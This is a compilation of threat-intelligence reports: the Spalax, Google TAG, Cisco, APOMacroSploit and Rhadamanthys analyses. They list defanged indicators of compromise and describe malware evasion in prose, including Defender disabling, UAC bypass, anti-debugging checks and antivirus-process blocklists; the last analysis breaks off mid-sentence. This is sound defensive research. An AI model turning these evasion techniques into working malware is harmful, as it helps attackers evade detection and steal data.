AutoIt packer that comes heavily obfuscated. Unlike the cases that were previously described, in this case, the first-stage malware performs the injection and execution of the payload. To achieve persistence, a VBS script is created to execute a copy of the dropper. Then an Internet Shortcut (.url) file is created in the Startup folder to execute the script. ## Payloads The payloads used in Operation Spalax are remote access trojans. These provide several capabilities not only for remote control, but also for spying on targets: keylogging, screen capture, clipboard hijacking, exfiltration of files, and the ability to download and execute other malware, to name a few. These RATs were not developed by the attackers. They are: - Remcos, sold online - njRAT, leaked in underground forums - AsyncRAT, open source There is not a one-to-one relationship between droppers and payloads, as we have seen different types of droppers running the same payload and also a single type of dropper connected to different payloads. However, we can state that NSIS droppers mostly drop Remcos, while Agent Tesla and AutoIt packers typically drop njRAT. ## Network Infrastructure During our research, we saw approximately 70 different domain names used for C&C in the second half of 2020. This amounts to at least 24 IP addresses. By pivoting on passive DNS data for IP addresses and known domain names, we found that the attackers have used at least 160 additional domain names since 2019. This corresponds to at least 40 further IP addresses. They’ve managed to operate at such scale by using Dynamic DNS services. Most of the domain names we have seen were registered with Duck DNS, but they have also used DNS Exit for publicvm.com and linkpc.net subdomains. Regarding IP addresses, almost all of them are in Colombia. Most are IP addresses related to Colombian ISPs: 60% of them are Telmex and 30% EPM Telecomunicaciones (Tigo). ## Conclusion Targeted malware attacks against Colombian entities have been scaled up since the campaigns that were described last year. The landscape has changed from a campaign that had a handful of C&C servers and domain names to a campaign with very large and fast-changing infrastructure with hundreds of domain names used since 2019. Even though TTPs have seen changes, the attacks are still targeted and focused on Colombian entities, both in the public and private sectors. It should be expected that these attacks will continue in the region for a long time, so we will keep monitoring these activities.
# TrickBot Ravages Customers of Amazon, PayPal and Other Top Brands Microsoft Word also leveraged in the email campaign, which uses a 22-year-old Office RCE bug.
# Ukraine Remains Russia’s Biggest Cyber Focus in 2023 Billy Leonard April 19, 2023 Threat Analysis Group Google’s Threat Analysis Group (TAG) continues to disrupt campaigns from multiple sets of Russian government-backed attackers focused on the war in Ukraine. This blog provides insights on attacker trends from primarily January - March 2023, continuing our analysis from *Fog of War: How the Ukraine Conflict Transformed the Cyber Threat Landscape*. In the first quarter of 2023, Russian government-backed phishing campaigns targeted users in Ukraine the most, with the country accounting for over 60% of observed Russian targeting. Looking at information operations (IO), our takedowns reflect a steady pattern of Russian attempts to circumvent our policies, details of which are reported in our quarterly TAG Bulletin. ## Notable Campaigns TAG Has Observed ### FROZENBARENTS Targets Energy Sector, Continues Hack and Leak Operations FROZENBARENTS (aka Sandworm), a group attributed to Russian Armed Forces’ Main Directorate of the General Staff (GRU) Unit 74455, continues to focus heavily on the war in Ukraine with campaigns spanning intelligence collection, IO, and leaking hacked data through Telegram. As we described in the Fog of War report, FROZENBARENTS remains the most versatile GRU cyber actor with offensive capabilities including credential phishing, mobile activity, malware, external exploitation of services, and beyond. They target sectors of interest for Russian intelligence collection including government, defense, energy, transportation/logistics, education, and humanitarian organizations. FROZENBARENTS continues to exploit EXIM mail servers globally and use these compromised hosts as part of their operational network, a trend going back to at least August 2019. These compromised hosts have been observed accessing victim networks, interacting with victim accounts, sending malicious emails, and engaging in information operations (IO) activity. #### Energy Sector Targeting The Caspian Pipeline Consortium (CPC) controls one of the world's largest oil pipelines that transports oil from Kazakhstan to the Black Sea. Since November 2022, FROZENBARENTS has engaged in a sustained effort to target organizations associated with the CPC and other energy sector organizations in Europe. The first campaign targeted CPC employees, specifically the Moscow office, with phishing links delivered via SMS. Throughout Q1 2023, FROZENBARENTS conducted multiple campaigns against energy sector organizations in Eastern Europe, delivering links to fake Windows update packages hosted on a domain spoofing CPC. If executed, the fake update would run a variant of the Rhadamanthys stealer to exfiltrate stored credentials, including browser cookies. #### Defense Targeting Beginning in early December 2022, FROZENBARENTS launched multiple waves of credential phishing campaigns targeting the Ukrainian defense industry, military, and Ukr.net webmail users. These phishing emails spoofed security and other system administrator type notifications and in some cases were sent through third-party email campaign management services. #### IO, Hack and Leak Campaigns Active in the IO space, FROZENBARENTS actors create online personas to create and disseminate news content as well as leak stolen data. These actors promote narratives that are pro-Russia and against Ukraine, NATO, and the West. One persona, which TAG assesses is created and controlled by FROZENBARENTS actors, is 'CyberArmyofRussia' or 'CyberArmyofRussia_Reborn', which has a presence on Telegram, Instagram, and YouTube. The CyberArmyofRussia_Reborn Telegram channel has primarily been used for posting stolen data and DDoS targets. In several recent incidents, FROZENBARENTS compromised a webserver of the target organization and uploaded a webshell to maintain persistent access to the compromised system. The attackers then deployed Adminer, a single file PHP script for managing databases, to exfiltrate data of interest. Shortly after exfiltration, the data appeared on the CyberArmyofRussia_Reborn Telegram channel. #### Telegram Phishing FROZENBARENTS has targeted users associated with popular channels on Telegram, a social media platform popular in both Ukraine and Russia. Phishing campaigns delivered via email and SMS spoofed Telegram to steal credentials, sometimes targeting users following pro-Russia channels. An interesting artifact of the Telegram phishing campaigns is a ‘val’ URL parameter in the phishing links with a base64 encoded value, providing insight into the operators’ mindset and their condescending attitude towards Ukraine and the Cyber Police of Ukraine. ### GRU @bio_genie IO Campaign on Telegram, Substack Since April 2022, actors attributed to the GRU have maintained a Telegram channel to promote and amplify narratives related to the use of biological weapons in Ukraine and how the United States is responsible for the proliferation of biological weapons around the world. The Telegram channel publishes Russian-language content and is likely aimed at Russian-speaking audiences. In December 2022, they also created a similarly named Substack, published in English. While the Telegram channel receives regular updates, sometimes multiple times per day, the Substack has only received a single post. The actors controlling this channel have conducted email campaigns soliciting input from prominent Russian and Belarussian researchers and medical professionals involved in epidemiology and microbiology. Additionally, they have attempted to engage with journalists globally in an attempt to drive traffic to the Telegram channel and further amplify their narratives. While this activity has been conducted from infrastructure similar to known FROZENBARENTS infrastructure, TAG is currently unable to confidently assess if this activity has been conducted by FROZENBARENTS, or if this campaign is being conducted by a different GRU unit. ### FROZENLAKE Uses XSS in Phishing Against Ukrainian Users In early 2023, another Russian GRU actor TAG tracks as FROZENLAKE (aka APT28) was especially focused on Ukraine. In February and March, they sent multiple large waves of phishing emails to hundreds of users in Ukraine, continuing the group’s 2022 focus on targeting webmail users in Eastern Europe. Starting in early February 2023, we saw FROZENLAKE using reflected cross-site scripting (XSS) on multiple Ukrainian government websites to redirect users to phishing pages - a new TTP for the group. Recent examples of these reflected XSS are included below. The majority of observed phishing domains were created on free services and used for a short time, often a single campaign. When a user submitted their credentials on the phishing sites, they were sent via HTTP POST request to a remote IP address, which TAG analysis identified as compromised Ubiquiti network devices. ### PUSHCHA Continues Targeting Regional Webmail Providers PUSHCHA, a Belarusian threat actor, has consistently targeted users in Ukraine and neighboring countries throughout the war. Their campaigns typically target regional webmail providers such as i.ua, meta.ua, and similar services. The phishing campaigns are targeted, focused on small numbers of users in Ukraine. ### Russian Information Operations Moscow continues to leverage the full spectrum of information operations — from overt state-backed media to covert platforms and accounts — to shape public perception of the war in Ukraine. In the first quarter of 2023, TAG observed a coordinated IO campaign from actors affiliated with the Internet Research Agency (IRA) creating content on Google products such as YouTube, including commenting and upvoting each other’s videos. The group has focused particularly on narratives supportive of Russia and the business interests of Russian oligarch Yevgeny Prigozhin, especially the Wagner Group. As noted in the Fog of War report, TAG has continued to see IRA-linked actors create YouTube Shorts. The Shorts are crafted for a Russian domestic audience and are often "news"-like narratives on the Ukraine war. The group was also promoting a new film by Aurum LLC, a film company partially owned by Prigozhin. This movie has a high production value and communicates narratives portraying the Wagner Group in a positive light. TAG also observed IRA-linked accounts publish coordinated narratives on Blogger. The narratives published by the group continue to focus on regional domestic Russian affairs. ### Financially Motivated Actors CERT-UA previously reported on campaigns using RomCom malware to target government and military officials in Ukraine by the group behind Cuba ransomware (despite the name, US CISA reports no indication these actors are affiliated with the Republic of Cuba). This represents a large shift from this actor's traditional ransomware operations, behaving more similarly to an actor conducting operations for intelligence collection. TAG also observed campaigns from this actor targeting attendees of the Munich Security Conference and the Masters of Digital conference. The attackers are using phishing URLs with spoofed domain names related to ChatGPT and OpenAI. The campaigns have been relatively small in volume, sent from spoofed domains, and targeting users' Gmail accounts. ### Protecting Our Users Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation. We also send affected targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity. We encourage anyone who might be a potential target to enable Google Account Level Enhanced Safe Browsing and ensure that all devices are updated. We remain committed to identifying bad actors, disrupting their campaigns, and sharing relevant information with others across industry and governments to raise awareness, protect users, and prevent future attacks. ## IOCs **FROZENBARENTS:** - cpcpipe[.]com - cpcpipe[.]org - 104.156.149[.]126 - c80656fe59bdeb3e701d1f7eeaaba2ef673368b2c4947945f598e3e84a6cb7f8 - telegram.org.security.ohsxy[.]com - telegram.org.4234e8234ad0f.24o1[.]com - ukroboronprom.com.ukr[.]pm - 181.119.30[.]71 - 45.76.31[.]101 - 45.56.93[.]83 - 45.124.86[.]84 **bio_genie IO campaign:** - https://t.me/s/bio_genie - https://biogenie.substack.com **FROZENLAKE:** - setnewcreds.ukr.net[.]frge[.]io - ukrprivatesite.frge[.]io - robot-876.frge[.]io - 85.240.182[.]23 - 68.76.150[.]97 **PUSHCHA:** - passport-ua[.]site - passport-log[.]online - meta-l[.]space - support@passport-ua[.]online **Cuba Ransomware / RomCom:** - openai@chatgpt4beta[.]com - chatgpt4beta[.]com - mod2023@masterofdigital[.]org - masterofdigital[.]org - 4f0b12caa97e52f3d2edada9133f2e4a3442953d14c8ed12deb7219c722ea197
# Backdoors, RATs, Loaders Evasion Techniques In this second edition of the Cybersecurity Threat Spotlight, we’re examining the most important current threats including a backdoor threat, a remote access trojan (RAT), and a loader. Obfuscation, encryption, weaponization of normally benign files, and remote (frequently C2) execution continue to be primary techniques in ongoing use. ## Threat Name: GoldMax **Threat Type:** Backdoor **Actor:** NOBELIUM **Delivery and Exfiltration:** Cisco Umbrella detects SUNBURST domains, domains hosting GoldMax payload, and C&C servers. **Description:** GoldMax (also known as SUNSHUTTLE) is a post-exploitation malware currently used as part of a SUNBURST attack. SUNBURST uses multiple techniques to obfuscate its actions and evade detection. GoldMax persists on systems as a scheduled task, impersonating systems management software. **GoldMax Spotlight:** Written in Go, GoldMax acts as a command-and-control backdoor for the actor. The malware writes an encrypted configuration file to disk, where the file name and AES-256 cipher keys are unique per implant, based on environmental variables and information about the network where it is running. The C2 can send commands to be launched for various operations, including native OS commands, via pseudo-randomly generated cookies. The hardcoded cookies are unique to each implant, mapping to victims and operations on the actor side. GoldMax is equipped with a decoy network traffic generation feature that allows it to surround its malicious network traffic with seemingly benign traffic. **Target geolocations:** North America, Europe **Target data:** Any **Target businesses:** Government, public entities, private entities **Mitre Att&ck, GoldMax** - **Initial access:** Supply chain compromise - **Persistence:** Scheduled task - **Execution:** Command and scripting interpreter: Windows command shell - **Evasion:** Deobfuscate/decode files or information, obfuscated files or information: software packing, indirect command execution, masquerade task or service, system checks - **Collection:** N/A - **Command and Control:** Encrypted channel: symmetric cryptography, data encoding, data obfuscation, ingress tool transfer, web protocols - **Exfiltration:** Exfiltration over C2 channel **IOCs:** **Domains:** - srfnetwork[.]org - reyweb[.]com - onetechcompany[.]com **IPs:** - 185.225.69[.]69 **SHA-256 Hashes:** - 70d93035b0693b0e4ef65eb7f8529e6385d698759cc5b8666a394b2136cc06eb - 0e1f9d4d0884c68ec25dec355140ea1bab434f5ea0f86f2aade34178ff3a7d91 - 247a733048b6d5361162957f53910ad6653cdef128eb5c87c46f14e7e3e46983 - F28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c - 611458206837560511cb007ab5eeb57047025c2edc0643184561a6bf451e8c2c - B9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8 - bbd16685917b9b35c7480d5711193c1cd0e4e7ccb0f2bf1fd584c0aebca5ae4c **Which Cisco products can block GoldMax:** - Cisco Secure Endpoint (AMP for Endpoints) - Cisco Cloud Web Security (CWS) - Cisco Network Security - Cisco Secure Network Analytics - Cisco Secure Cloud Analytics - Cisco Secure Web Appliance - Cisco Threat Grid - Cisco Umbrella ## Threat Name: ObliqueRAT **Threat Type:** Remote Access Trojan **Actor:** Transparent Tribe **Delivery and Exfiltration:** Cisco Umbrella detects domains hosting malicious documents, malicious Zip files, and C&C servers. **Description:** Oblique is a popular Remote Access Trojan, currently being used to take remote control of infected systems and steal data. The malware has the following capabilities: get the running process on the system, get the drives, directories, and files on the system, get the host names, user IDs, capture screenshots, get the data from C2 server, using custom ports to connect to C2 server. **ObliqueRAT Spotlight:** ObliqueRAT is related to CrimsonRAT, sharing the same malware documents and macros, but using its macro code to download its malicious payload from actor-controlled websites. The malicious payload appears to be benign BMP image files. These files contain a ZIP, which holds the ObliqueRAT payload. Once downloaded and extracted, the file is renamed with a .pif file extension. Persistence is achieved by creating a shortcut with a .URL file extension in the infected user’s Startup. **Target geolocations:** South Asia **Target data:** Credentials from web browsers, data from removable media, local email collection **Target businesses:** Any **Mitre Att&ck, ObliqueRAT** - **Initial access:** Phishing - **Persistence:** Registry run keys / startup folder - **Execution:** Scheduled task/job - **Evasion:** Impair defenses - **Collection:** File and directory discovery, process discovery, screen capture, security software discovery, system information discovery, system network configuration discovery - **Command and control:** Data obfuscation - **Exfiltration:** Ingress tool transfer, exfiltration over command and control channel using non-application layer protocol **IOCs:** **Domains:** - larsentobro[.]com - micrsoft[.]ddns.net **URLs:** - hxxp://iiaonline[.]in/DefenceLogo/theta.bmp - hxxp://iiaonline[.]in/timon.jpeg - hxxp://iiaonline[.]in/9999.jpg - hxxp://iiaonline[.]in/merj.bmp - hxxp://iiaonline[.]in/111.jpg - hxxp://iiaonline[.]in/sasha.jpg - hxxp://iiaonline[.]in/111.png - hxxp://iiaonline[.]in/camela.bmp - hxxp://larsentobro[.]com/mbda/goliath1.bmp - hxxp://larsentobro[.]com/mbda/mundkol - hxxp://drivestransfer[.]com/myfiles/Dinner%20Invitation.doc/win10/Dinner%20Invitation.doc **IPs:** - 185[.]183.98.182 **Which Cisco products can block ObliqueRAT:** - Cisco Secure Endpoint - Cloud Web Security - Cisco Secure Email - Cisco Secure Firewall/Secure IPS - Cisco Secure Malware Analytics - Cisco Umbrella - Cisco Secure Web Appliance ## Threat Name: NimzaLoader **Threat Type:** Loader **Actor:** TA800 **Delivery and Exfiltration:** Cisco Umbrella detects domains hosting malicious documents, malicious NimzaLoader payload, C&C servers, and Cobalt Strike communications. **Description:** NimzaLoader is part of a malware family used by the TA800 threat group to gain a foothold in compromised enterprise networks. This threat group previously used BazaLoader before switching to the new NimzaLoader in February 2021. **NimzaLoader Spotlight:** NimzaLoader is written in the Nim programming language in an attempt to avoid detection. JSON files are used for data storage, memory management, and C&C communication and it does not use a domain generation algorithm. The second-stage payload is most commonly Cobalt Strike. Exploitation begins with phishing emails to victims containing personalized details that can be found on social networking sites such as LinkedIn. The emails contain a link, labeled as ‘PDF-preview’ that leads to a NimzaLoader download webpage. NimzaLoader makes use of cmd.exe and powershell.exe to inject shellcode into a process on Windows systems. It utilizes a heartbeat mechanism to update expiration dates of the malware in memory and encodes other data in a JSON object. **Target geolocations:** Any **Target data:** Any **Target businesses:** Any **Mitre Att&ck, NimzaLoader** - **Initial access:** Spearphishing attachment, spearphishing link - **Persistence:** Registry run keys / startup folder, startup items, hooking - **Evasion:** Deobfuscate / decode files or information, masquerading, obfuscated files or information, process doppelganging, process hollowing, process injection - **Collection:** Account discovery, application window discovery, file and directory discovery, process discovery, query registry, remote system discovery, security software discovery, system information discovery, system time discovery, system owner / user discovery - **Exfiltration:** Commonly used port, data encrypted, remote file copy, standard application layer protocol, standard cryptographic protocol, standard non-application layer protocol **IOCs:** **Domains:** - centralbancshares[.]com - gariloy[.]com - liqui-technik[.]com **SHA-256 Hashes:** - 540c91d46a1aa2bb306f9cc15b93bdab6c4784047d64b95561cf2759368d3d1d **Which Cisco products can block NimzaLoader:** - Cisco Secure Endpoint - Cloud Web Security - Cisco Secure Email - Cisco Secure Firewall/Secure IPS - Cisco Secure Malware Analytics - Cisco Umbrella - Cisco Secure Web Appliance
# ApoMacroSploit: Apocalyptical FUD Race **February 16, 2021** ## 1.1 Introduction At the end of November, Check Point Research detected a new Office malware builder called APOMacroSploit, which was implicated in multiple malicious emails to more than 80 customers worldwide. In our investigation, we found that this tool includes features to evade detection by Windows Defender and is updated daily to ensure low detection rates. In this article, we reveal the threat actors’ malicious intentions and disclose the real identity of one attacker. We reported this information to the relevant law enforcement authorities. The malware infection begins when the dynamic content of the attached XLS document is enabled, and an XLM macro automatically starts downloading a Windows system command script. Based on the number of customers and the lowest option price for this product, we estimate that the two main threat actors made at least $5000 in 1.5 months, just by selling the APOMacroSploit product. We followed multiple cases of attacks related to this tool, which we discuss here, and we describe a popular RAT used in this campaign to control the victim’s machine remotely and steal information. ## 1.2 The Campaign Approximately 40 different hackers are involved in this campaign and utilize 100 different email senders in the attacks. Overall, our telemetry reports attacks occurred in more than 30 different countries. ## 1.3 The Malicious Document The initial malicious document our customer received was an XLS file containing an obfuscated XLM macro called Macro 4.0. The macro is triggered automatically when the victim opens the document and downloads a BAT file from cutt.ly. The execution of the command “attrib” enables the BAT script to hide in the victim’s machine. We assume the reordering of the PowerShell instructions via the Start-Sleep command (visible after deobfuscation) is seen by the attacker as another static evasion. ## 1.4 BAT File Downloaded from cutt.ly Website At this stage of the attack, the attackers made a key mistake. The cutt[.]ly domain directly redirects to a download server and does not perform the request on the back end. These servers host the BAT files. For each file, the nickname of the customer was inserted inside of the filename. **List of Customers:** - COLAFORCE1010 - moonlight - kingshakes - ZaiTsev - motolux - laudable - apo93 - nitrix - legranducki - bambobimpel - nullptr - libinvip - bawbaw - pr3torian - makaveli - bayalbatros - retroferon - mcavy - birchfresh - rroki123 - mcdon - boblarsers2 - siemaziuta - mcoode55 - borah - silenthide - mic12 - btcjune - skiw53 - mikky - centank - slipperynick - xavierdev - covv - somasekharraddyn - zilla07 - crownking - spicytorben - zombie99 - danmill5241 - t5samsung2020 - demomode - thecabal1 - [email protected] - duksquad - tozmac - jew - frankie777 - warlords - jonathanandy77 - fteenetx - xaa The BAT script file checks which Windows version the victim has and downloads fola.exe if the version is Windows 10, Windows 8.1, Windows 8, or Windows 7. It adds the malware location in the exclusion path of Windows Defender, bypasses UAC, and then executes the malware. In addition, we also noticed some usage of rebrand[.]ly that redirects and downloads the BAT file from cdn.discordapp.com. ## 1.5 APOMacroSploit When we searched for the usernames that were in the BAT file names, we found an advertisement for a malware builder called APOMacroSploit. This is a macro exploit generator that allows the user to create an XLS file which bypasses AVs, Windows Defender, bypass AMSIs, Gmail, and other mail phishing detection, and more. This tool has a “WD disabler” option, which disables Windows Defender on the targeted machine before executing the payload, and a “WD exclusion” option, which adds the file to Windows Defender so it can bypass WD as well. APOMacroSploit administrators justified their AV bypass claim with links from a questionable website: avcheck[.]net. Those links allege full none-detection (FUD) from AVs. APOMacroSploit is sold on HackForums.net by two users: Apocaliptique (Apo) and Nitrix. We also found a Discord channel in which Nitrix is named as the tool developer and Apo is the admin. In this channel, both Nitrix and Apocaliptique assist buyers with how to use the tool. Many of the customer nicknames visible on the download server were also found on the channel. ## 1.6 About the Actors For each customer, Apocaliptique and Nitrix created a BAT file to use in the attack. This screenshot shows that not only did these hackers sell their attack tools, but they also participated in building and hosting the malware. Apocaliptique uses Apo Bypass YouTube channel to advertise his tool’s features. As you can see, this YouTube channel subscribes to 55 other YouTube channels. One of these channels, called Ntx Stevy, attracted our attention because it has only 6 subscribers, including Apo Bypass. By drilling down a bit more, we found an old Skype address for the NTx Stevy channel, in the account name there is a sequence of numbers, 93160, which is associated with a French area, Seine Saint Denis, and more specifically, Noisy-Le-Grand city. Another channel also showed us some interesting data. But so far, there is no clear connection between Apo and Ntx Stevy. We do, however, know that the developer of APOMacroSploit is called Nitrix. By searching Nitrix’s conversations, we saw the following message. In this screenshot, it appears that the Skype account we found before, on the YouTube comment, is associated with this Twitter page. So Ntx Stevy is actually Nitrix and plays LOL (League of Legends) using the same summoner name! Nitrix and Apo even played games together. Now, the link becomes clear. This channel of 6 subscribers was followed by Apo because it belonged to his friend, developer Nitrix. Finally, we found another Skype account associated with Nitrix that confirms what we already know. By searching on Skype for Nitrix’s identity, we found his first name. After digging in Nitrix Twitter account, we finally obtained his identity: he revealed his actual name when he posted a picture of a ticket he bought for a concert in December 2014. We looked for this name on social media and found an account on Facebook, which had the same picture. According to his Facebook account, Nitrix was indeed living in Noisy-Le-Grand. We tracked Nitrix LinkedIn page that shows where he studied and that he has 4 years’ worth of experience as a software developer. Now, let’s take a look at Apo, whose nickname in HackForums.net is “Apocaliptique.” Here we can see Apo using this nickname and responding to questions about his product. We found out his Skype nickname: apocaliptique93. We assume that Apocaliptique is a French resident like Nitrix. First, the language used in the advertisement videos is French. Moreover, the pseudo he used above is either “apo93” or “apocaliptique93“ and as seen above, “93” is a common suffix for French citizens living in Seine Saint Denis. ## 1.7 Example of APOMacroSploit Usage by Mic12 This section describes in more detail an example of a popular second stage seen in several attacks related to this campaign. ### 1.7.1 The Document The attacker sent via email with a variety of subjects: поръчка за доставка (delivery order in Bulgarian), bio tech inquiry, royal mail notification – 30/11/2020, boat inquiry. The file names of the documents are corresponding to the email subject: spetsifikatsiya.xls, biotech.xls, royalmail.xls, boat.xls. ### 1.7.2 Malware Hosted Server One of the BAT files downloads the malware from the following location: hxxp://XXXXXXXX/royal1/helper/gd/zt/fola[.]exe. This is a Bulgarian website for medical equipment and supplies. The website looks legitimate and might have been hacked by the attacker to store the malware. ### 1.7.3 The Malware The malware in question is a DelphiCrypter followed by a BitRAT. **Anti-detection mechanisms:** - A call of RtlAddVectorizedExceptionHandler followed by a division by 0 to generate a crash to disrupt debuggers. - Check of the BeingDebugged flag. - QueryInformationProcess call with the argument 0h1E / 0h1F to search for debuggers. - A search for the keywords « sample », « malware » or « sandbox » in the path location of the malware. If found, the execution stops. - Search for a set of antivirus or analysis programs. If they are running, the execution stops. **List of antiviruses and analysis programs:** - Avast - Avastui.exe - Avastsvc.exe - Aswidsagent.exe - Kaspersky - Avgsvc.exe - Avgui.exe - AVP - Avp.exe - Bit Defender - Bdwtxag.exe - Bdagent.exe - Windows Defender - Msmpeng - Mpcmdrun - Nissrv.exe - Dr Web - Dwengine.exe - ESET - Equiproxy - Ekrn - Analysis tools - Procexp.exe - Windbg.exe - Procmon.exe - Ollydbg.exe Multiple delays of the malware execution. **Persistency:** A Notepad.exe injected shellcode drops a VBS file in the startup folder to ensure the malware persistency. Then, the notepad shellcode starts the malicious ernm.exe. This ernm.exe malware is statically identical to fola.exe. During its execution, it compares its path with %appdata%/Roaming/rtgb/ernm.exe. If it is equal, it unpacks itself to a BitRAT. (MD5: B6AD351A3EA35CAE710E124021A77CA8) ### 1.7.4 The C&C The C&C of this malware is located at the following IP: 185[.]157[.]161[.]109. This IP was resolved to a domain, which is a subdomain of a legitimate Bulgarian website for video surveillance systems. ## 1.8 Protections Check Point customers are protected against this attack. **SandBlast Network:** - Trojan.Wind.Generic.A/H/F - RAT.Win.BitRat.A - Signature_xlm_char_macro_4 - Signature_xlm_macro_4_concat_exec - AP.malicious.xls.a ## 1.9 IOCs **Document:** - 37951f4d601c647c284a431b582f5aebc3d0e13e - 0f7901078941f167b318f4fb37349503ec62b45d - e4b03e2689bf54d97195c4b1bf94d7e047fb0926 - e56157faa2d9c5c9a0a30f321b442794860576e0 - 2b753299c8824cc1dd0c48c2552e67df2db0800a - 583e84e1376147dfc21bab53026cd2bd0250dca5 - e14e89d16fb6632659ffe2bb2b8b82741ace5478 - fea838fecb16a23717429f25967b5d9f21b9b5f8 - 4e6c98140eeb64351740e7b62e6863659abbb591 - cdb97b35bdedcb6318cf6ed11b706a12df2e95be - d05bb0a47b5f43ae9c2ffd72c9245ee6675bc798 - ee5dc839a6565d26b6eb8d07744c4886f646721d - f8f92986f49a19f58a3114a19f4c0af48ab59e43 - 1d884a8beb4f84a6a5fb12dd9d3b3ff3108b6874 - 6ebb625de65f3a8ce66122d10dcccdfad8cdf5d6 - d529134cdf6837081ead1219a74128e5ccb31ce9 - 6cb9af64cb0c86ca2238e01d1452b9d6513b7ea3 - 9529b21240d9986c32527a589d38029c608dd253 - 433144bc02374a186ffcb91d3beaabcba0cd160d - c3b19195228f75b437a9c5b3df2028df1b1cbdc5 - eca08346b447fc927fdad8cc944178e85c83496a - 129226d22bb541495ff427e9f4a421cb09557a12 - 9809ea270285d08732dacc3ca572d9d272fec6fa - 1982ba2694cd6b25bb057f89b29ded8225c997cd - 0f7901078941f167b318f4fb37349503ec62b45d - 0b6cb46c92dbb0075f2524c8397e44236c37eebd - 25ed4d9fca33c1ccdf6b6a6793df14d2e07e5e97 - 3a4e2469a56dcd0b9a287f8bde8be78aec6ab397 **Malwares:** - a359796eacef161e75ce3f5094e1dd2bff37389c - 9a8b2be1f45b4d3d5a9a772ce45a01caa0a1b6e2 **C&Cs:** - 185[.]157[.]161[.]109 - 185[.]57[.]162[.]81
# Dancing With Shellcodes: Analyzing Rhadamanthys Stealer **Eli Salem** **January 16, 2023** ## Threat Background Rhadamanthys is a newly emerged information stealer written in C++. According to multiple reports, the malware has been active since late 2022. It appears to masquerade as legitimate software such as AnyDesk installers and Google Ads to gain an initial foothold. On the dark web, malware authors offer various deals for using the malware, including monthly or lifetime payments. The authors emphasize the malware's capabilities, which range from stealing digital coins and collecting system information to executing other processes such as PowerShell. In this article, I will investigate the Rhadamanthys stealer and reverse engineer the entire chain, from the first dropper to the malware itself. I will focus on the parts that I personally find more interesting, particularly the ways the malware tries to evade detection. ## The Dropper **File hash:** 89ec4405e9b2cab987f2e4f7e4b1666e The Rhadamanthys dropper is a 32-bit file. Similar to many droppers, it has relatively large entropy, indicating potentially packed content inside. One of the relatively new features of PEstudio is the ability to check if the ASLR feature is enabled. In my analysis, I prefer to disable ASLR so the addresses in IDA and XDBG will be the same for tracking purposes. In PEstudio, go to “optional-header” and then to the ASLR bar to see if it is false (disabled) or true (enabled). ### Unpacking Mechanism: Getting to the First Shellcode As we observe the dropper in IDA, we see a large embedded “blob” in the .rdata section. These kinds of blobs can potentially contain data that will be decrypted during runtime. The first activity the dropper does is create a new heap. The function `sub_408028` will be the core function that deals with encrypting the blob. Inside `sub_408028`, there are two interesting functions: one responsible for returning an address containing the data to be written, and another that is a wrapper of `memcpy`. In the first iteration, the embedded blob will be written into the newly created heap. Next, the same function will override the blob and decrypt a shellcode. A call to `VirtualAlloc` will create newly allocated memory, followed by `memcpy` to copy the shellcode from the heap to the new memory. Lastly, a `VirtualProtect` API call will change the permission of the memory segment to RWX. The entire chain can also be seen in the following pseudo-code of IDA Pro. The next step is to go to the address `004065A1` in the `WinMain` function (remember, ASLR is disabled so we can navigate easily in IDA and the debugger). We can see that the value of the shellcode (dynamically located in the EAX register) is being transferred to another offset variable `42F6F0`. ### Shellcode Execution via Callback After having a shellcode with EXECUTE permission, we need a way to execute it. In this case, the authors choose a callback function. The shellcode execution will proceed as follows: the function is responsible for invoking the API call, receives a parameter function that is just a wrapper for another function that jumps to the shellcode address, and the final result is that it gets the address of the shellcode in its second argument “lpfn” and executes it. The logic can be seen in the following pseudo-code. The reason for choosing this method is likely to evade antivirus products that rely on `CreateThread` or `CreateRemoteThread` as trigger points to scan addresses that may contain malicious content. ### Investigating the First Shellcode To investigate the shellcode, we can choose one of two methods: dump the entire allocated buffer and run it in Blobrunner or continue with the code dynamically. To investigate it statically, we must dump the shellcode. Right-click on the address of the shellcode and click “Follow in Memory Map.” Then, in the memory map, right-click on the shellcode address and select “Dump Memory to File.” After dumping, drag and drop the file into IDA. To summarize the steps until now, we can look at the following graph. ### Fixing the Shellcode: Defining Functions After loading the shellcode, we can see five functions in the Function name bar. In the navigation bar, we can see blue and brown colors. According to the IDA website, blue means “Regular functions, i.e., functions not recognized by FLIRT or Lumina,” while brown means “Instructions (code) not belonging to any functions.” When we look at an area in the IDA view that contains both, we see the following. The brown color is legitimate code; however, IDA doesn't consider it as a function. To fix this, we can scroll and observe statically where this function starts and ends. In our case, it starts at address `000029E` and ends at address `000036B`. Now that we know the function boundaries, we can mark it all and click “P.” We can see that the brown code is now considered a function, and a new function `sub_29E` was added to the function name bar. **NOTE:** When fixing functions, do not assume that the first “retrn” is the end of a function; pay attention to jumps that might bypass this return and indicate a longer function. ### Fixing the Shellcode: Defining Code In addition to the scenario where code looks like code but isn't interpreted as a function, we have a more tricky scenario when we need to change the data itself. At the beginning of the shellcode, we see the assembly code “call 450028,” which should take us to the address in `450028`. However, statically, it appears as gibberish. To fix it, we need to tell IDA that specific addresses are actual code. For example, in the dynamic view, we can see that the first five bytes are `Call 450028`. Therefore, we should tell IDA that these bytes are code and then tell IDA to look at it as a function. After doing this, we can see that the same data looks like code from the debugger view. We can always turn it into a function of its own. The function jumps to the address at “loc_28” (IDA) or “450028” (debugger). However, this content also needs to be fixed. Combining the two approaches of defining as code and defining as function will do the trick. After doing that, we now have eight functions in the function name bar. ### Fixing the Shellcode: Rebase the Address The last thing we need to do to analyze the shellcode alongside the debugger is to match the addresses. To do this, go to Edit > Segments > Rebase program. Change the value to the actual entry point of the shellcode in the debugger and click OK. Now we can see that the addresses statically and dynamically match. Finally, we can start analyzing the shellcode. ### Shellcode Functionality The first thing we can see is that the actual code in the shellcode is very small; there are eight or nine functions, and the rest is a large chunk of data. From this, we can assume that the shellcode will potentially use that data. The shellcode just jumps to `sub_45029E`, which is a larger function containing multiple functions. **sub_450249** accesses the Process Environment Block to get the address of `Kernel32.dll`. This behavior is traditional and occurs in many shellcodes. **sub_45036E** gets three arguments: Kernel32 address, hashes, and an array that holds four functions. It iterates through the kernel32 export functions and sends the names of the functions to another function named `sub_45040C`, which hashes the function name and returns the hash. The functions will be “VirtualAlloc, LocalFree, LocalAlloc, VirtualFree.” **sub_450077** decrypts the large data stored in our shellcode and writes it to the 